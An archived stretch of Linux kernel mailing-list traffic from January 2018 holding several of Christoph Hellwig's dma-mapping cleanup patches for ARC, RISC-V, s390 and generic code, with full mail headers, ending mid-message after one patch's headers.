NNTP-Posting-Date: Wed, 10 Jan 2018 07:59:11 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Wed Jan 10 08:59:05 2018
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eZBHn-00078J-TW
	for lnx-sparclinux@m.gmane.org; Wed, 10 Jan 2018 08:59:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965210AbeAJIBC (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Wed, 10 Jan 2018 03:01:02 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:45447 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965156AbeAJIAx (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Wed, 10 Jan 2018 03:00:53 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=2lQf+iUE0etj+DXwQLMAdazaZ3TD1HeSJN/sy8+g38U=; b=s7DLfEbnBwWH34zmfKFmCUzNH
        DbmKtGcKTytqjFV+wFIS7BxEiDMeqJLmf6I5NokTNhX72Y8QyzA/Z9cox2/EGsjyXjcdxH40SIumi
        aWe8jCSQgU0AAuuz8L5XJnteXIRyjuK7REPybnVoSrkUSWx3Z5eINjMqwkC0jgrAxdC5AEoKjGYQZ
        5S8vXYLwF6ZML5cJoKF1bs6mANioAYIPI1eTHpxIufXorcasbQOYqRStPMDhIQiYWoD+Qr7g21P8Z
        LQ5HMIXJtvLPlhO3oFy0vzYUqMU3GrAzSBJWL41IjUaWtE1uM37zjP29BuSiwRPUOURCEWQooUpZg
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBJV-00044f-RP; Wed, 10 Jan 2018 08:00:46 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27188 gmane.linux.kernel.iommu:22026 gmane.linux.ports.alpha:4680 gmane.linux.kernel.arc:3290 gmane.linux.ports.arm.kernel:625005 gmane.linux.ports.hexagon:1506 gmane.linux.ports.ia64:28505 gmane.linux.kernel.metag:1582 gmane.linux.ports.mips.general:63192 gmane.linux.ports.parisc:28181 gmane.linux.ports.ppc64.devel:151829 gmane.linux.ports.sh.devel:56237 gmane.linux.kernel.cross-arch:41250 gmane.linux.kernel:2662712
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27188>

We always use the stub definitions, so remove the unused other code.

Signed-off-by: Christoph Hellwig <hch@lst.de>
Acked-by: Vineet Gupta <vgupta@synopsys.com>
---
 arch/arc/Kconfig                   |  3 ---
 arch/arc/include/asm/dma-mapping.h |  7 -------
 arch/arc/mm/dma.c                  | 14 +++++++-------
 3 files changed, 7 insertions(+), 17 deletions(-)

diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
index 9d5fd00d9e91..f3a80cf164cc 100644
--- a/arch/arc/Kconfig
+++ b/arch/arc/Kconfig
@@ -463,9 +463,6 @@ config ARCH_PHYS_ADDR_T_64BIT
 config ARCH_DMA_ADDR_T_64BIT
 	bool
 
-config ARC_PLAT_NEEDS_PHYS_TO_DMA
-	bool
-
 config ARC_KVADDR_SIZE
 	int "Kernel Virtual Address Space size (MB)"
 	range 0 512
diff --git a/arch/arc/include/asm/dma-mapping.h b/arch/arc/include/asm/dma-mapping.h
index 94285031c4fb..7a16824bfe98 100644
--- a/arch/arc/include/asm/dma-mapping.h
+++ b/arch/arc/include/asm/dma-mapping.h
@@ -11,13 +11,6 @@
 #ifndef ASM_ARC_DMA_MAPPING_H
 #define ASM_ARC_DMA_MAPPING_H
 
-#ifndef CONFIG_ARC_PLAT_NEEDS_PHYS_TO_DMA
-#define plat_dma_to_phys(dev, dma_handle) ((phys_addr_t)(dma_handle))
-#define plat_phys_to_dma(dev, paddr) ((dma_addr_t)(paddr))
-#else
-#include <plat/dma.h>
-#endif
-
 extern const struct dma_map_ops arc_dma_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
diff --git a/arch/arc/mm/dma.c b/arch/arc/mm/dma.c
index e9d93604ad0f..1dcc404b5aec 100644
--- a/arch/arc/mm/dma.c
+++ b/arch/arc/mm/dma.c
@@ -60,7 +60,7 @@ static void *arc_dma_alloc(struct device *dev, size_t size,
 	/* This is linear addr (0x8000_0000 based) */
 	paddr = page_to_phys(page);
 
-	*dma_handle = plat_phys_to_dma(dev, paddr);
+	*dma_handle = paddr;
 
 	/* This is kernel Virtual address (0x7000_0000 based) */
 	if (need_kvaddr) {
@@ -92,7 +92,7 @@ static void *arc_dma_alloc(struct device *dev, size_t size,
 static void arc_dma_free(struct device *dev, size_t size, void *vaddr,
 		dma_addr_t dma_handle, unsigned long attrs)
 {
-	phys_addr_t paddr = plat_dma_to_phys(dev, dma_handle);
+	phys_addr_t paddr = dma_handle;
 	struct page *page = virt_to_page(paddr);
 	int is_non_coh = 1;
 
@@ -111,7 +111,7 @@ static int arc_dma_mmap(struct device *dev, struct vm_area_struct *vma,
 {
 	unsigned long user_count = vma_pages(vma);
 	unsigned long count = PAGE_ALIGN(size) >> PAGE_SHIFT;
-	unsigned long pfn = __phys_to_pfn(plat_dma_to_phys(dev, dma_addr));
+	unsigned long pfn = __phys_to_pfn(dma_addr);
 	unsigned long off = vma->vm_pgoff;
 	int ret = -ENXIO;
 
@@ -175,7 +175,7 @@ static dma_addr_t arc_dma_map_page(struct device *dev, struct page *page,
 	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
 		_dma_cache_sync(paddr, size, dir);
 
-	return plat_phys_to_dma(dev, paddr);
+	return paddr;
 }
 
 /*
@@ -190,7 +190,7 @@ static void arc_dma_unmap_page(struct device *dev, dma_addr_t handle,
 			       size_t size, enum dma_data_direction dir,
 			       unsigned long attrs)
 {
-	phys_addr_t paddr = plat_dma_to_phys(dev, handle);
+	phys_addr_t paddr = handle;
 
 	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
 		_dma_cache_sync(paddr, size, dir);
@@ -224,13 +224,13 @@ static void arc_dma_unmap_sg(struct device *dev, struct scatterlist *sg,
 static void arc_dma_sync_single_for_cpu(struct device *dev,
 		dma_addr_t dma_handle, size_t size, enum dma_data_direction dir)
 {
-	_dma_cache_sync(plat_dma_to_phys(dev, dma_handle), size, DMA_FROM_DEVICE);
+	_dma_cache_sync(dma_handle, size, DMA_FROM_DEVICE);
 }
 
 static void arc_dma_sync_single_for_device(struct device *dev,
 		dma_addr_t dma_handle, size_t size, enum dma_data_direction dir)
 {
-	_dma_cache_sync(plat_dma_to_phys(dev, dma_handle), size, DMA_TO_DEVICE);
+	_dma_cache_sync(dma_handle, size, DMA_TO_DEVICE);
 }
 
 static void arc_dma_sync_sg_for_cpu(struct device *dev,
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 09/33] dma-mapping: take dma_pfn_offset into account in dma_max_pfn
Date: Wed, 10 Jan 2018 09:00:03 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20180110080027.13879-10-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571155 32426 195.159.176.226 (10 Jan 2018 07:59:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 07:59:15 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-hexagon-owner@vger.kernel.org Wed Jan 10 08:59:09 2018
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1eZBHu-0007rB-T4
	for glphk-linux-hexagon@m.gmane.org; Wed, 10 Jan 2018 08:59:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965231AbeAJIBH (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
        Wed, 10 Jan 2018 03:01:07 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:51030 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965157AbeAJIBE (ORCPT
        <rfc822;linux-hexagon@vger.kernel.org>);
        Wed, 10 Jan 2018 03:01:04 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=vdePqvUj61iE5s31eV5JeBeZN5vOIc09n73lsDtN5eM=; b=QpNBo8oYzrGHj4CwTetTJha0Z
        UyEYBO0DCP+EeW97RJx5ok1hVQBwU9JS+6jrWBgVPZEKGyL5+w0PaHD9Fl1z5mAzY/xePkbwaBqte
        2hC6ZX2JYeHYkShYNlm1eBUTwXwymmqLfXXMOdGle2EIU3VD2G+WtDJZ0gwoaDrGwWfzoudfSmp/1
        XEREverTx13IbzGP2s3ldJyQ53dOCdRXe+R4lQ1PhI9f9AWAWAnHnF8MuGLXK6nwKB7FNEeqNzLJI
        XMwns6jpw81yDN7QjKccZEpNT0emEocRjbJFJ8KfmRw3fHZ2Qtaoqz+Cdolhf/IoPhfLg+ZuTzspF
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBJi-0004LE-1c; Wed, 10 Jan 2018 08:00:58 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:1507 gmane.linux.kernel.iommu:22027 gmane.linux.ports.alpha:4681 gmane.linux.kernel.arc:3291 gmane.linux.ports.arm.kernel:625006 gmane.linux.ports.ia64:28506 gmane.linux.kernel.metag:1583 gmane.linux.ports.mips.general:63193 gmane.linux.ports.parisc:28182 gmane.linux.ports.ppc64.devel:151830 gmane.linux.ports.sh.devel:56238 gmane.linux.ports.sparc:27189 gmane.linux.kernel.cross-arch:41251 gmane.linux.kernel:2662713
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/1507>

This makes sure the generic version can be used with architectures /
devices that have a DMA offset in the direct mapping.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 include/linux/dma-mapping.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index 81ed9b2d84dc..d84951865be7 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -692,7 +692,7 @@ static inline int dma_set_seg_boundary(struct device *dev, unsigned long mask)
 #ifndef dma_max_pfn
 static inline unsigned long dma_max_pfn(struct device *dev)
 {
-	return *dev->dma_mask >> PAGE_SHIFT;
+	return (*dev->dma_mask >> PAGE_SHIFT) + dev->dma_pfn_offset;
 }
 #endif
 
-- 
2.14.2


From - Thu Nov 08 21:40:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 07/33] riscv: remove the unused dma_capable helper
Date: Wed, 10 Jan 2018 09:00:01 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20180110080027.13879-8-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515571160 1057 195.159.176.226 (10 Jan 2018 07:59:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 07:59:20 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 10 08:59:14 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZBHz-0008CL-FO
	for glki-iommu@m.gmane.org; Wed, 10 Jan 2018 08:59:11 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id B1054E9F;
	Wed, 10 Jan 2018 08:00:57 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id C06C8E9E
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:00:56 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 8464414E
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:00:56 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=07RuFC1Zfs8Ezi8EsP/bxOpwvBBEoSJ4OYSPIkkVu+U=;
	b=fIAAaYfY+oJ8HMMK9HtxOZSV6
	RQwNu8F9URdFXtINNfmxXGknYHwczFDoFspzpqrbVqYb65OXRCgoC5yS/L9HTHI07rmnud5u+onnC
	daFo5fl8V6mKvgJ/NS6wGo9s+7EKzJVXP9nwxPY9HKLdtVGQmjZgH0RrBQ1fMof4/7cP+MBZxyi2o
	+iWup2tpyrxTK7YiINVkhJD+cdyYvgcnCCe8hNh6mOEqOKxdxR/5lT46i1fbN2+7F1FB+eY4msem3
	e6tfL9BzuR4kU+qyI9+UaPV6CQXoMdR1g4pxuuZTQnQT4MkgX2ZMsEsgr8WPuK1kjl7xJPNoyX8Ya
	2nkJFZpKQ==;
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZBJb-0004C4-R5; Wed, 10 Jan 2018 08:00:52 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22028 gmane.linux.ports.mips.general:63194 gmane.linux.ports.ia64:28507 gmane.linux.ports.sh.devel:56239 gmane.linux.ports.sparc:27190 gmane.linux.kernel.cross-arch:41252 gmane.linux.ports.hexagon:1508 gmane.linux.kernel.arc:3292 gmane.linux.kernel.metag:1584 gmane.linux.ports.arm.kernel:625007 gmane.linux.ports.parisc:28183 gmane.linux.kernel:2662714 gmane.linux.ports.alpha:4682 gmane.linux.ports.ppc64.devel:151831
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22028>

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/riscv/include/asm/dma-mapping.h | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/arch/riscv/include/asm/dma-mapping.h b/arch/riscv/include/asm/dma-mapping.h
index 3eec1000196d..73849e2cc761 100644
--- a/arch/riscv/include/asm/dma-mapping.h
+++ b/arch/riscv/include/asm/dma-mapping.h
@@ -27,12 +27,4 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return &dma_noop_ops;
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return false;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
 #endif	/* __ASM_RISCV_DMA_MAPPING_H */
-- 
2.14.2


From - Thu Nov 08 21:40:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 08/33] s390: remove the unused dma_capable helper
Date: Wed, 10 Jan 2018 09:00:02 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20180110080027.13879-9-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515571169 2763 195.159.176.226 (10 Jan 2018 07:59:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 07:59:29 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 10 08:59:23 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZBI4-0008T7-8s
	for glki-iommu@m.gmane.org; Wed, 10 Jan 2018 08:59:16 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id E2BE5E88;
	Wed, 10 Jan 2018 08:01:01 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id C6955DE6
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:01:00 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id B2013163
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 08:00:59 +0000 (UTC)
